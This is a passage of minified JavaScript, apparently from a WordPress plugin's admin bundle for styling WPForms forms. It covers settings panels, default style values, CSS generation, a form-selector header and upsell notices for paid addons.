AbortController,t=e.signal,n=setTimeout((()=>{(async()=>{window.wp.hooks.doAction("sfwf_ultimate_on_ai_content_load",a.aiSettings,a.formId,t,l,s,a.allSettings)})()}),500);return()=>{clearTimeout(n),e.abort()}}),[a.formId,a.bootstrapSettings]),(0,t.useEffect)((()=>{let t="";a.formId?(t=window.wp.hooks.applyFilters("sfwf_ultimate_on_ai_html_update",t,a.formId,n,a.setActiveFieldId),o(t)):o((0,e.createElement)("div",null,"Please choose the form in order to apply the styles."))}),[n]),(0,e.createElement)("div",{className:"sfwf-panel-contentarea sfwf-responsive-area"},(0,e.createElement)("div",{className:"sfwf-form-wrapper sfwf-bootstrap-form-wrapper"},!1===r&&n))},oe=a=>{const[n,l]=(0,t.useState)(!1);return(0,e.createElement)("div",{className:"sfwf-panel"},(0,e.createElement)(le,{formId:a.formId,activeFieldId:n,setActiveFieldId:l,hasChangesMade:a.hasChangesMade,setHasUnSavedChanges:a.setHasUnSavedChanges,formFieldsLabels:a.formFieldsLabels,setFormFieldsLabels:a.setFormFieldsLabels,allSettings:a.allSettings,setActiveMenuBar:a.setActiveMenuBar,activeSectionId:a.activeSectionId,setActiveSectionId:a.setActiveSectionId,aiSettings:a.aiSettings,setAiSettings:a.setAiSettings}),(0,e.createElement)(ie,{allSettings:a.allSettings,formId:a.formId,activeMenuBar:a.activeMenuBar,activeFieldId:n,formFieldsLabels:a.formFieldsLabels,setActiveFieldId:l,totalPageCount:a.totalPageCount,activePage:a.activePage,setActivePage:a.setActivePage,hasChangesMade:a.hasChangesMade,setHasUnSavedChanges:a.setHasUnSavedChanges,aiSettings:a.aiSettings,setAiSettings:a.setAiSettings}))},re=t=>(0,e.createElement)("div",{className:"sfwf-panel-sidebar"},window.wp.hooks.applyFilters("sfwf_ultimate_blacklist_sidebar","",t.blacklistSettings,t.setBlacklistSettings,t.formId,t.setHasUnSavedChanges)),se=a=>{const[i,o]=(0,t.useState)(""),[r,s]=(0,t.useState)(!1);return(0,t.useEffect)((()=>{const e=new AbortController,t=e.signal,n=setTimeout((()=>{(async()=>{window.wp.hooks.doAction("sfwf_ultimate_on_blacklist_content_load",a.blacklistSettings,a.formId,t,a.setHtml,s,a.allSettings)})()}),500);return()=>{clearTimeout(n),e.abort()}}),[a.formId,a.fieldIconsSettings]),(0,t.useEffect)((()=>{let t="",n="";a.formId?("active"===window.sfwfAdminWpformsUltimate.status[a.activeMenuBar]?t=(0,l.cloneDeep)(a.html):"inActive"===window.sfwfAdminWpformsUltimate.status[a.activeMenuBar]?(n={title:"Blacklist for WPForms addon is not Active",description:"We're sorry, your Blacklist for WPForms addon is currently inactive. To use it you will first need to activate the addon from your plugin's menu. Click the below link to activate the addon.",link:"https://wpmonks.com/downloads/?p=19374/?utm_source=plugin&utm_medium=panel&utm_campaign=ultimate_kit",linkTarget:"_blank",primaryText:"Open Plugins",notice:"Bonus: Get 45% off on All Addons. Click Here to buy addon bundle at discounted price.",noticeLink:"https://wpmonks.com/downloads/?p=14200/?utm_source=plugin&utm_medium=panel&utm_campaign=ultimate_kit"},t=(0,e.createElement)(j,{content:n})):(n={title:"Blacklist is a Pro Addon",description:"We're sorry, the Blacklist is premium addon. Click the below link to get the addon.",link:"https://wpmonks.com/downloads/?p=19374/?utm_source=plugin&utm_medium=panel&utm_campaign=ultimate_kit",linkTarget:"_blank",primaryText:"Get Blacklist Addon",notice:"Bonus: Get 45% off on All Addons. Click Here to buy addon bundle at discounted price.",noticeLink:"https://wpmonks.com/downloads/?p=14200/?utm_source=plugin&utm_medium=panel&utm_campaign=ultimate_kit"},t=(0,e.createElement)(j,{content:n})),o(t)):o((0,e.createElement)("div",null,"Please choose the form in order to apply the styles."))}),[a.html]),(0,e.createElement)("div",{className:"sfwf-panel-contentarea sfwf-responsive-area"},(0,e.createElement)(z,{formId:a.formId,totalPageCount:a.totalPageCount,activePage:a.activePage,setActivePage:a.setActivePage,showConfirmation:!1}),(0,e.createElement)("div",{className:"sfwf-form-wrapper sfwf-field-icons-form-wrapper"},r&&(0,e.createElement)("div",{className:"sfwf-content-spinner"},(0,e.createElement)(n.Spinner,null)),!1===r&&i))},ce=t=>(0,e.createElement)("div",{className:"sfwf-panel"},(0,e.createElement)(re,{formId:t.formId,activeFieldId:t.activeFieldId,setActiveFieldId:t.setActiveFieldId,hasUnSavedChanges:t.hasUnSavedChanges,setHasUnSavedChanges:t.setHasUnSavedChanges,formFieldsLabels:t.formFieldsLabels,setFormFieldsLabels:t.setFormFieldsLabels,blacklistSettings:t.blacklistSettings,setBlacklistSettings:t.setBlacklistSettings}),(0,e.createElement)(se,{formId:t.formId,activeMenuBar:t.activeMenuBar,activePage:t.activePage,setActivePage:t.setActivePage,hasUnSavedChanges:t.hasUnSavedChanges,setHasUnSavedChanges:t.setHasUnSavedChanges,allSettings:t.allSettings,totalPageCount:t.totalPageCount,setTotalPageCount:t.setTotalPageCount,blacklistSettings:t.blacklistSettings,setBlacklistSettings:t.setBlacklistSettings,html:t.html,setHtml:t.setHtml})),de=a=>{const[n,i]=(0,t.useState)(""),[o,r]=(0,t.useState)(!1);return(0,t.useEffect)((()=>{const e=setTimeout((()=>{(async()=>{window.wp.hooks.doAction("sfwf_ultimate_on_power_ups_content_load",a.powerUps,a.formId,a.setHtml,a.activePowerUpId,a.setActivePowerUpId,a.activeSectionId)})()}),500);return()=>{clearTimeout(e)}}),[a.formId,a.activeSectionId,a.powerUps]),(0,t.useEffect)((()=>{let t="",n="";a.formId?(t=(0,l.cloneDeep)(a.html),"active"===window.sfwfAdminWpformsUltimate.status[a.activeMenuBar]?t=(0,l.cloneDeep)(a.html):"inActive"===window.sfwfAdminWpformsUltimate.status[a.activeMenuBar]?(n={title:"PowerUps for WPForms is not Active",description:"We're sorry, your PowerUps addon is currently inactive. To use it you will first need to activate the addon from your plugin's menu. Click the below link to activate the addon.",link:window.sfwfAdminWpformsUltimate.adminUrl+"plugins.php?plugin_status=inactive",primaryText:"Open Plugins",notice:"Bonus: Get 45% off on All Addons. Click Here to buy addon bundle at discounted price.",noticeLink:"https://wpmonks.com/downloads/?p=14200/?utm_source=plugin&utm_medium=panel&utm_campaign=ultimate_kit"},t=(0,e.createElement)(j,{content:n})):(n={title:"PowerUps for WPForms is a Pro Addon",description:"We're sorry, the PowerUps for WPForms is premium addon. Click the below link to get the addon.",link:"https://wpmonks.com/downloads/?p=59474&utm_source=plugin&utm_medium=panel&utm_campaign=ultimate_kit",linkTarget:"_blank",primaryText:"Get Power Ups Addon",notice:"Bonus: Get 45% off on All Addons. Click Here to buy addon bundle at discounted price.",noticeLink:"https://wpmonks.com/downloads/?p=14200/?utm_source=plugin&utm_medium=panel&utm_campaign=ultimate_kit"},t=(0,e.createElement)(j,{content:n})),i(t)):a.setHtml((0,e.createElement)("div",null,"Please choose the form in order to apply the styles."))}),[a.html]),(0,e.createElement)("div",{className:"sfwf-panel-contentarea sfwf-responsive-area"},(0,e.createElement)("div",{className:"sfwf-form-wrapper sfwf-power-ups-form-wrapper"},n))},ue=t=>(0,e.createElement)("div",{className:"sfwf-panel-sidebar"},window.wp.hooks.applyFilters("sfwf_ultimate_power_ups_sidebar","",t.powerUps,t.setPowerUps,t.formId,t.setHasUnSavedChanges,t.activeSectionId,t.setActiveSectionId,t.activePowerUpId,t.setActivePowerUpId,t.formFieldsLabels)," "),me=a=>{const[n,l]=(0,t.useState)("");return(0,e.createElement)("div",{className:"sfwf-panel"},(0,e.createElement)(ue,{formId:a.formId,hasUnSavedChanges:a.hasUnSavedChanges,setHasUnSavedChanges:a.setHasUnSavedChanges,activeSectionId:a.activeSectionId,setActiveSectionId:a.setActiveSectionId,activePowerUpId:n,setActivePowerUpId:l,powerUps:a.powerUps,setPowerUps:a.setPowerUps,formFieldsLabels:a.formFieldsLabels}),(0,e.createElement)(de,{formId:a.formId,hasUnSavedChanges:a.hasUnSavedChanges,setHasUnSavedChanges:a.setHasUnSavedChanges,html:a.html,setHtml:a.setHtml,allSettings:a.allSettings,activeSectionId:a.activeSectionId,setActiveSectionId:a.setActiveSectionId,activePowerUpId:n,setActivePowerUpId:l,activeMenuBar:a.activeMenuBar,powerUps:a.powerUps}))},pe={"form-wrapper":{"max-width":"","max-width-tab":"","max-width-phone":"",font:"Default","background-type":"color","background-color":"","background-image":"","gradient-color":null,"border-size":"0","border-type":"solid","border-color":"","border-radius":"",margin:"",padding:""},"form-header":{"background-color":"","border-size":"0","border-type":"solid","border-radius":"","border-color":"",margin:"",padding:""},"field-labels":{display:!1,"font-style":"bold","font-size":"","font-size-tab":"","font-size-phone":"","line-height":"","line-height-tab":"","line-height-phone":"","font-color":"",padding:""},"field-descriptions":{"font-style":"","font-size":"","font-size-tab":"","font-size-phone":"","line-height":"","line-height-tab":"","line-height-phone":"","font-color":"","text-align":"",padding:""},"text-fields":{"max-width":"","max-width-tab":"","max-width-phone":"","font-style":"","font-size":"","font-size-tab":"","font-size-phone":"",height:"","height-tab":"","height-phone":"","font-color":"","border-size":"1","border-type":"solid","border-radius":"","border-color":"","background-color":"",margin:"",padding:""},"dropdown-fields":{"max-width":"","max-width-tab":"","max-width-phone":"","font-style":"","font-size":"","font-size-tab":"","font-size-phone":"",height:"","height-tab":"","height-phone":"","font-color":"","border-size":"","border-type":"","border-color":"","border-radius":"","background-color":"",margin:"",padding:""},"radio-inputs":{"max-width":"","max-width-tab":"","max-width-phone":"","line-height":"","line-height-tab":"","line-height-phone":"","font-style":"","font-size":"","font-size-tab":"","font-size-phone":"","font-color":"",padding:""},"checkbox-inputs":{"max-width":"","max-width-tab":"","max-width-phone":"","font-style":"","font-size":"","font-size-tab":"","font-size-phone":"","line-height":"","line-height-tab":"","line-height-phone":"","font-color":"",padding:""},"paragraph-textarea":{"max-width":"","max-width-tab":"","max-width-phone":"","font-style":"","font-size":"","font-size-tab":"","font-size-phone":"","line-height":"","line-height-tab":"","line-height-phone":"","font-color":"","border-size":"","border-type":"","border-color":"","border-radius":"","background-color":"",padding:"",margin:""},"submit-button":{"text-align":"","button-color":"","hover-color":"","font-style":"","font-size":"","font-size-tab":"","font-size-phone":"","line-height":"","line-height-tab":"","line-height-phone":"","font-color":"","font-hover-color":"","max-width":"","max-width-tab":"","max-width-phone":"",height:"","height-tab":"","height-phone":"","border-size":"0px","border-type":"solid","border-color":"","border-radius":"",margin:"",padding:""},"confirmation-message":{"max-width":"","max-width-tab":"","max-width-phone":"","text-align":"","font-style":"","font-size":"","font-size-tab":"","font-size-phone":"","line-height":"","line-height-tab":"","line-height-phone":"","font-color":"","border-size":"","border-type":"","border-color":"","border-radius":"","background-color":"",padding:""},"error-message":{"max-width":"","max-width-tab":"","max-width-phone":"","font-style":"","text-align":"","background-color":"",padding:""},"form-title":{"font-color":"","font-style":"","font-size":"","font-size-tab":"","font-size-phone":"","line-height":"","line-height-tab":"","line-height-phone":"","text-align":"",margin:"",padding:""},"form-description":{"font-color":"","font-style":"","font-size":"","font-size-tab":"","font-size-phone":"","line-height":"","line-height-tab":"","line-height-phone":"","text-align":"",margin:"",padding:""},"layout-fields":{"background-color":"","border-size":"0","border-type":"solid","border-color":"","border-radius":"",margin:"",padding:""},"general-settings":{"custom-css":""}},fe={"force-style":!1,"reset-styles":-1},ge=(e,t="px")=>"string"==typeof e&&/(px|em|rem|vh|vw|%)$/i.test(e.trim())?e:`${e}${t}`,ve=(e,t)=>void 0===e[t]||""===e[t]||null===e[t],be=e=>{let t="";if(e["font-style"]&&(t+="font-weight: normal !important; "),void 0!==e["font-style"]&&""!==e["font-style"]){const a=e["font-style"].split("|");for(const e of a)switch(e){case"bold":t+="font-weight: bold !important; ";break;case"italic":t+="font-style: italic !important; ";break;case"uppercase":t+="text-transform: uppercase !important; ";break;case"underline":t+="text-decoration: underline !important; "}}return t+=ve(e,"color")?"":"color:"+e.color+" !important;",t+=ve(e,"background-color")?"":"background-color:"+e["background-color"]+" !important;",t+=ve(e,"background-color1")?"":"background-image:-webkit-linear-gradient(to left,"+e["background-color"]+","+e["background-color1"]+") !important;",t+=ve(e,"background-color1")?"":"background-image:linear-gradient(to left,"+e["background-color"]+","+e["background-color1"]+") !important;",t+=ve(e,"gradient-color")?"":`background-image: ${e["gradient-color"]};`,t+=ve(e,"width")?"":"width:"+ge(e.width)+" !important;",t+=ve(e,"height")?"":"height:"+ge(e.height)+" !important;",t+=ve(e,"title-position")?"":"text-align:"+e["title-position"]+" !important;",t+=ve(e,"text-align")?"":"text-align:"+e["text-align"]+" !important;",t+=ve(e,"line-height")?"":"line-height:"+e["line-height"]+" !important;",t+=ve(e,"error-position")?"":"text-align:"+e["error-position"]+" !important;",t+=ve(e,"description-position")?"":"text-align:"+e["description-position"]+" !important;",t+=ve(e,"title-color")?"":"color:"+e["title-color"]+" !important;",t+=ve(e,"font-color")?"":"color:"+e["font-color"]+" !important;",t+=ve(e,"description-color")?"":"color:"+e["description-color"]+" !important;",t+=ve(e,"button-color")?"":"background-color:"+e["button-color"]+" !important;",t+=ve(e,"description-color")?"":"color:"+e["description-color"]+" !important;",t+=ve(e,"font-family")?"":"font-family:"+e["font-family"]+" !important;",t+=ve(e,"font-size")?"":"font-size:"+ge(e["font-size"])+" !important;",t+=ve(e,"max-width")?"":"width:"+ge(e["max-width"])+" !important;",t+=ve(e,"maximum-width")?"":"width:"+ge(e["maximum-width"])+" !important;",t+=ve(e,"margin")?"":"margin:"+ge(e.margin)+" !important;",t+=ve(e,"padding")?"":"padding:"+ge(e.padding)+" !important;",t+=ve(e,"border-size")?"":"border-width:"+ge(e["border-size"])+" !important;",t+=ve(e,"border-color")?"":"border-color:"+e["border-color"]+" !important;",void 0===e["border-size"]||(0,l.isEmpty)(e["border-size"])||(t+=ve(e,"border-type")?"border-style:solid !important;":"border-style:"+e["border-type"]+" !important;"),t+=ve(e,"border-bottom")?"":"border-bottom-style:"+e["border-bottom"]+" !important;",t+=ve(e,"border-bottom-size")?"":"border-bottom-width:"+ge(e["border-bottom-size"])+" !important;",t+=ve(e,"border-bottom-color")?"":"border-bottom-color:"+e["border-bottom-color"]+" !important;",t+=ve(e,"background-image")?"":"background-image: url("+e["background-image"]+") !important;",t+=ve(e,"border-bottom-color")?"":"border-bottom-color:"+e["border-bottom-color"]+" !important;",void 0!==e.display&&(t+=e.display?"display:none !important;":""),void 0!==e.visibility&&(t+=e.visibility?"visibility: hidden !important;":""),void 0===e["border-radius"]||(0,l.isEmpty)(e["border-radius"])||(t+="border-radius:"+ge(e["border-radius"])+" !important;",t+="-web-border-radius:"+ge(e["border-radius"])+" !important;",t+="-moz-border-radius:"+ge(e["border-radius"])+" !important;"),t+=ve(e,"custom-css")?"":e["custom-css"]+" !important;",t+=ve(e,"padding-left")?"":"padding-left:"+ge(e["padding-left"])+" !important;",t+=ve(e,"padding-right")?"":"padding-right:"+ge(e["padding-right"])+" !important;",t+=ve(e,"padding-top")?"":"padding-top:"+ge(e["padding-top"])+" !important;",t+=ve(e,"padding-bottom")?"":"padding-bottom:"+ge(e["padding-bottom"])+" !important;",t+=ve(e,"margin-left")?"":"margin-left:"+ge(e["margin-left"])+" !important;",t+=ve(e,"margin-right")?"":"margin-right:"+ge(e["margin-right"])+" !important;",t+=ve(e,"margin-top")?"":"margin-top:"+ge(e["margin-top"])+" !important;",t+=ve(e,"margin-bottom")?"":"margin-bottom:"+ge(e["margin-bottom"])+" !important;",t},he=t=>{if((0,l.isEmpty)(t.stylerSettings))return"";const a=t.stylerSettings["form-wrapper"],n=t.stylerSettings["form-header"],i=t.stylerSettings["form-title"],o=t.stylerSettings["form-description"],r=t.stylerSettings["field-labels"],s=t.stylerSettings["field-descriptions"],c=t.stylerSettings["text-fields"],d=t.stylerSettings["dropdown-fields"],u=t.stylerSettings["radio-inputs"],m=t.stylerSettings["checkbox-inputs"],p=t.stylerSettings["paragraph-textarea"],f=t.stylerSettings["submit-button"],g=t.stylerSettings["confirmation-message"],v=t.stylerSettings["error-message"],b=t.stylerSettings["general-settings"],h=t.stylerSettings["layout-fields"];let S="block";return"confirmation"===t.activePage&&(S="none"),(0,e.createElement)(e.Fragment,null,(0,e.createElement)("style",null,`\n body #wpforms-${t.formId}{\n font-family: ${a.font};\n ${be(a)}\n display: ${S} !important;\n }\n \n body #wpforms-${t.formId} .wpforms-head-container{\n ${be(n)}\n }\n\n body #wpforms-${t.formId} .wpforms-head-container .wpforms-title{\n ${be(i)}\n }\n\n body #wpforms-${t.formId} .wpforms-head-container .wpforms-description{\n ${be(o)}\n }\n\n body #wpforms-${t.formId} .wpforms-submit-container .wpforms-submit, \n body #wpforms-${t.formId} .wpforms-field-pagebreak button.wpforms-page-button{\n ${be(f)}\n text-align: center !important;\n }\n \n body #wpforms-${t.formId} .wpforms-submit-container .wpforms-submit:hover,\n body #wpforms-${t.formId} .wpforms-field-pagebreak button.wpforms-page-button:hover{\n background-color: ${f["hover-color"]} !important;\n color: ${f["font-hover-color"]} !important;\n }\n\n body #wpforms-${t.formId} .wpforms-submit-container,\n\t body #wpforms-${t.formId} .wpforms-field-pagebreak .wpforms-pagebreak-left{\n text-align: ${f["text-align"]};\n }\n \n body #wpforms-${t.formId} .wpforms-form .wpforms-field input[type=text],\n body #wpforms-${t.formId} .wpforms-form .wpforms-field input[type=email],\n body #wpforms-${t.formId} .wpforms-form .wpforms-field input[type=tel],\n body #wpforms-${t.formId} .wpforms-form .wpforms-field input[type=url],\n body #wpforms-${t.formId} .wpforms-form .wpforms-field input[type=password],\n body #wpforms-${t.formId} .wpforms-form .wpforms-field input[type=number]{\n ${be(c)}\n max-width:100%;\n }\n\n body #wpforms-${t.formId} .wpforms-form .wpforms-field .wpforms-field-row-block input[type=text]{\n width: 100% !important;\n }\n\n body #wpforms-${t.formId} .wpforms-form .wpforms-field .wpforms-field-row{\n width: ${c["max-width"]};\n max-width:100%;\n }\n\n body #wpforms-${t.formId} .wpforms-form .wpforms-field textarea{\n ${be(p)}\n }\n\n body #wpforms-${t.formId} .wpforms-form .wpforms-field select{\n ${be(d)}\n }\n\n body #wpforms-${t.formId} .wpforms-form .wpforms-field-select-style-modern .choices__inner{\n ${be(d)}\n }\n\n body #wpforms-${t.formId} .wpforms-form .wpforms-field-select-style-modern .choices__inner{\n\n background-color: ${d["background-color"]}\n }\n\n body #wpforms-${t.formId} .wpforms-form .wpforms-field-select-style-modern .choices__item{\n backgroung-color: transparent;\n }\n\n body #wpforms-${t.formId} .wpforms-form .wpforms-field-select-style-modern .choices__item{\n color: ${d["font-color"]}\n }\n\n body #wpforms-${t.formId} .wpforms-form .wpforms-field-radio li label,\n body #wpforms-${t.formId} .wpforms-form .wpforms-field-payment-multiple li label{\n ${be(u)}\n }\n \n body #wpforms-${t.formId} .wpforms-form .wpforms-field-checkbox li label{\n ${be(m)}\n }\n\n body #wpforms-${t.formId} .wpforms-form .wpforms-field .wpforms-field-description{\n ${be(s)}\n }\n\n body #wpforms-${t.formId} .wpforms-form .wpforms-field .wpforms-field-label{\n ${be(r)}\n }\n\n body #wpforms-confirmation-${t.formId}{\n ${be(g)}\n }\n\n body #wpforms-${t.formId} label.wpforms-error{\n ${be(v)}\n }\n\n body #wpforms-${t.formId} .wpforms-field-layout-columns,\n body #wpforms-${t.formId} .wpforms-field-layout-rows{\n ${be(h)}\n }\n\n body .wpforms-confirmation-container-full{\n ${be(g)}\n }\n\n body .wpforms-confirmation-container-full p{\n color: inherit !important;\n text-decoration: inherit;\n text-transform: inherit;\n }\n\n ${b["custom-css"]}\n `))},Se=a=>{const[i,o]=(0,t.useState)(""),[r,s]=(0,t.useState)(!1);(0,t.useEffect)((()=>{const e=e=>{if(!0===a.hasUnSavedChanges){e.preventDefault(),e.returnValue="";const t="Are you sure you want to leave?";return e.returnValue=t,t}};return window.addEventListener("beforeunload",e),()=>{window.removeEventListener("beforeunload",e)}}),[a.hasUnSavedChanges]),(0,t.useEffect)((()=>{if(!r)return;window.wp.hooks.doAction("sfwf_ultimate_content_has_loaded",a.allSettings,a.formId);const e=new CustomEvent("sfwf_builder_content_area_updated");document.dispatchEvent(e)}),[r]);const c=e=>{a.hasUnSavedChanges?o(e):(s(!1),a.setActiveMenuBar(e),a.setActiveFieldId(!1),a.setActiveSectionId(""))};return(0,e.createElement)(e.Fragment,null,(0,e.createElement)(he,{stylerSettings:a.stylerSettings,formId:a.formId,activePage:a.activePage,setActivePage:a.setActivePage}),(0,e.createElement)("style",null,`\n body #wpforms-${a.formId} .wpforms-field-container .wpforms-page{\n display: none !important;\n }\n \n body #wpforms-${a.formId} .wpforms-field-container .wpforms-page-${a.activePage}{\n display: block !important;\n }\n \n `,a.activePage===a.totalPageCount&&`body #wpforms-${a.formId} .wpforms-submit-container{\n display: block !important;\n }`),!(0,l.isEmpty)(a.bootstrapSettings)&&window.wp.hooks.applyFilters("sfwf_ultimate_bootstrap_styling","",a.formId,a.bootstrapSettings),!(0,l.isEmpty)(a.fieldIconsSettings)&&window.wp.hooks.applyFilters("sfwf_ultimate_field_icons_styling","",a.formId,a.fieldIconsSettings),!(0,l.isEmpty)(a.tooltipsSettings)&&window.wp.hooks.applyFilters("sfwf_ultimate_tooltip_styling","",a.formId,a.tooltipsSettings),(0,e.createElement)("div",{className:"sfwf-panels-menubar"},[{label:"Styler",icon:"superhero-alt",id:"styler"},{label:"Tooltips",icon:"info",id:"tooltips"},{label:"Field Icons",icon:"share-alt",id:"fieldIcons"},{label:"Bootstrap",icon:"star-filled",id:"bootstrap"},{label:"Blacklist",icon:"editor-unlink",id:"blacklist"},{label:"Power Ups",icon:"buddicons-activity",id:"powerUps"},{label:"Settings",icon:"admin-generic",id:"ultimateSettings"}].map(((t,l)=>{let i="";t.id===a.activeMenuBar&&(i=" active-panel");let o=(0,e.createElement)("p",{className:"menubar-btn-txt"},t.label),r=`menubar-btn ${i}`;return"ultimateSettings"===t.id?"":(0,e.createElement)("div",{className:r,onClick:()=>c(t.id)},(0,e.createElement)(n.Dashicon,{icon:t.icon}),o)})),(()=>{let t="menubar-btn settingsBtn";return"ultimateSettings"===a.activeMenuBar&&(t+=" active-panel"),(0,e.createElement)(e.Fragment,null,(0,e.createElement)("div",{className:"sfwf-panel-btn-margin-auto"}),(0,e.createElement)("div",{className:t,onClick:()=>c("ultimateSettings")},(0,e.createElement)(n.Dashicon,{icon:"admin-generic"})))})()),(0,e.createElement)("div",{className:"sfwf-panels"},""!==i&&(0,e.createElement)(ee,{hasChangesMade:a.hasUnSavedChanges,setHasUnSavedChanges:a.setHasUnSavedChanges,panelTriggerFromPopup:i,setPanelTriggerFromPopup:o,activeMenuBar:a.activeMenuBar,setActiveMenuBar:a.setActiveMenuBar,resetPanelSettings:e=>{switch(e){case"tooltips":a.setTooltipsSettings({});break;case"bootstrap":a.setBootstrapSettings({});break;case"fieldIcons":a.setFieldIconsSettings({});break;case"styler":a.setStylerSettings({})}}}),"styler"===a.activeMenuBar&&(0,e.createElement)(W,{activeSectionId:a.activeSectionId,setActiveSectionId:a.setActiveSectionId,stylerSettings:a.stylerSettings,setStylerSettings:a.setStylerSettings,hasUnSavedChanges:a.hasUnSavedChanges,setHasUnSavedChanges:a.setHasUnSavedChanges,formId:a.formId,activePage:a.activePage,setActivePage:a.setActivePage,totalPageCount:a.totalPageCount,setTotalPageCount:a.setTotalPageCount,allSettings:a.allSettings,generalSettings:a.generalSettings,setGeneralSettings:a.setGeneralSettings,activeMenuBar:a.activeMenuBar,setActiveMenuBar:a.setActiveMenuBar,fetchStylerSettings:a.fetchStylerSettings,html:r,setHtml:s}),"tooltips"===a.activeMenuBar&&(0,e.createElement)(K,{tooltipsSettings:a.tooltipsSettings,setTooltipsSettings:a.setTooltipsSettings,hasUnSavedChanges:a.hasUnSavedChanges,setHasUnSavedChanges:a.setHasUnSavedChanges,formId:a.formId,activePage:a.activePage,setActivePage:a.setActivePage,totalPageCount:a.totalPageCount,setTotalPageCount:a.setTotalPageCount,allSettings:a.allSettings,formFieldsLabels:a.formFieldsLabels,setFormFieldsLabels:a.setFormFieldsLabels,activeFieldId:a.activeFieldId,setActiveFieldId:a.setActiveFieldId,activeMenuBar:a.activeMenuBar,setActiveMenuBar:a.setActiveMenuBar,html:r,setHtml:s}),"fieldIcons"===a.activeMenuBar&&(0,e.createElement)(J,{fieldIconsSettings:a.fieldIconsSettings,setFieldIconsSettings:a.setFieldIconsSettings,hasUnSavedChanges:a.hasUnSavedChanges,setHasUnSavedChanges:a.setHasUnSavedChanges,formId:a.formId,activePage:a.activePage,setActivePage:a.setActivePage,totalPageCount:a.totalPageCount,setTotalPageCount:a.setTotalPageCount,allSettings:a.allSettings,formFieldsLabels:a.formFieldsLabels,setFormFieldsLabels:a.setFormFieldsLabels,activeFieldId:a.activeFieldId,setActiveFieldId:a.setActiveFieldId,activeMenuBar:a.activeMenuBar,setActiveMenuBar:a.setActiveMenuBar,html:r,setHtml:s}),"bootstrap"===a.activeMenuBar&&(0,e.createElement)(Z,{hasUnSavedChanges:a.hasUnSavedChanges,setHasUnSavedChanges:a.setHasUnSavedChanges,formId:a.formId,allSettings:a.allSettings,bootstrapSettings:a.bootstrapSettings,setBootstrapSettings:a.setBootstrapSettings,activeMenuBar:a.activeMenuBar,setActiveMenuBar:a.setActiveMenuBar,html:r,setHtml:s,activePage:a.activePage,totalPageCount:a.totalPageCount,setTotalPageCount:a.setTotalPageCount,setActivePage:a.setActivePage}),"ai"===a.activeMenuBar&&(0,e.createElement)(oe,{hasUnSavedChanges:a.hasUnSavedChanges,setHasUnSavedChanges:a.setHasUnSavedChanges,formId:a.formId,activePage:a.activePage,setActivePage:a.setActivePage,totalPageCount:a.totalPageCount,setTotalPageCount:a.setTotalPageCount,allSettings:a.allSettings,activeMenuBar:a.activeMenuBar,setActiveMenuBar:a.setActiveMenuBar,formFieldsLabels:a.formFieldsLabels,setFormFieldsLabels:a.setFormFieldsLabels,aiSettings:a.aiSettings,setAiSettings:a.setAiSettings}),"blacklist"===a.activeMenuBar&&(0,e.createElement)(ce,{hasUnSavedChanges:a.hasUnSavedChanges,setHasUnSavedChanges:a.setHasUnSavedChanges,formId:a.formId,allSettings:a.allSettings,activeMenuBar:a.activeMenuBar,setActiveMenuBar:a.setActiveMenuBar,activePage:a.activePage,setActivePage:a.setActivePage,totalPageCount:a.totalPageCount,setTotalPageCount:a.setTotalPageCount,blacklistSettings:a.blacklistSettings,setBlacklistSettings:a.setBlacklistSettings,html:r,setHtml:s}),"powerUps"===a.activeMenuBar&&(0,e.createElement)(me,{formId:a.formId,hasUnSavedChanges:a.hasUnSavedChanges,setHasUnSavedChanges:a.setHasUnSavedChanges,allSettings:a.allSettings,activeMenuBar:a.activeMenuBar,setActiveMenuBar:a.setActiveMenuBar,html:r,setHtml:s,activeSectionId:a.activeSectionId,setActiveSectionId:a.setActiveSectionId,powerUps:a.powerUps,setPowerUps:a.setPowerUps,formFieldsLabels:a.formFieldsLabels}),"ultimateSettings"===a.activeMenuBar&&(0,e.createElement)(ne,{formId:a.formId,hasUnSavedChanges:a.hasUnSavedChanges,setHasUnSavedChanges:a.setHasUnSavedChanges,activeSectionId:a.activeSectionId,setActiveSectionId:a.setActiveSectionId,ultimateSettings:a.ultimateSettings,setUltimateSettings:a.setUltimateSettings})))},ye=a.p+"images/logo.46b67e30.png",we=t=>{let a=[];(0,l.isEmpty)(t.allFormsData)||(a=t.allFormsData.map((e=>({title:e.title,onClick:()=>(e=>{const t=new URLSearchParams(window.location.search);t.has("formId")?t.set("formId",e):t.append("formId",e);const a=window.location.pathname+"?"+t.toString();window.location.href=a})(e.id)}))));let i="Select Form";t.allFormsData.forEach((e=>{e.id==t.formId&&(i=e.title)}));let o=(0,l.cloneDeep)(t.savingApi);return t.hasUnSavedChanges||(o=!0),(0,e.createElement)("div",{className:"sfwf-header"},(0,e.createElement)(n.Flex,{justify:"flex-start"},(0,e.createElement)(n.FlexItem,{className:"sfwf-header-logo",style:{width:"90px"}},(0,e.createElement)("img",{src:ye})),(0,e.createElement)(n.FlexItem,null,(0,e.createElement)("div",{className:"sfwf-form-select"},(0,e.createElement)("div",{className:"sfwf-header-const-text"},"Now editing",(0,e.createElement)("span",{className:"sfwf-selected-form"},(0,e.createElement)(n.__experimentalTruncate,{ellipsizeMode:"tail",limit:"34"},i)),(0,e.createElement)(n.DropdownMenu,{className:"sfwf-select-form-dropdown",icon:R,label:"Change Form",controls:a,popoverProps:{focusOnMount:!0,placement:"left-end"}})))),(0,e.createElement)(n.FlexBlock,{className:"sfwf-header-middle-block"}),(0,e.createElement)(n.FlexItem,null,(0,e.createElement)(n.Button,{variant:"primary",onClick:t.saveSettings,disabled:o,isBusy:t.savingApi},!0===t.savingApi&&(0,e.createElement)(n.Spinner,null),(0,e.createElement)(n.Icon,{icon:"yes"}),"Save")),(()=>{const a=new URL(window.location.href),l=a.searchParams.get("formId"),i=`${a.origin}${a.pathname}`;let o,r="";return o=t.formId?new URLSearchParams({page:"wpforms-builder",view:"fields",form_id:l}):new URLSearchParams({page:"wpforms-overview"}),r=`${i}?${o.toString()}`,(0,e.createElement)(n.FlexItem,{className:""},(0,e.createElement)("a",{href:r,className:"sfwf-header-exit"},(0,e.createElement)(n.Dashicon,{icon:"no-alt"})))})()))},Ce=t=>{const a=()=>{t.setNotice({})};return(0,e.createElement)(e.Fragment,null,(()=>{if(!(0,l.isEmpty)(t.notice)&&(0,l.has)(t.notice,"message")){let i="";return(0,l.has)(t.notice,"status")&&""!==t.notice.status&&(i=`sfwf-notice-type-${t.notice.status}`),(0,e.createElement)("div",{className:"sfwf-builder-notice-wrapper"},(0,e.createElement)("div",{className:`sfwf-builder-notice 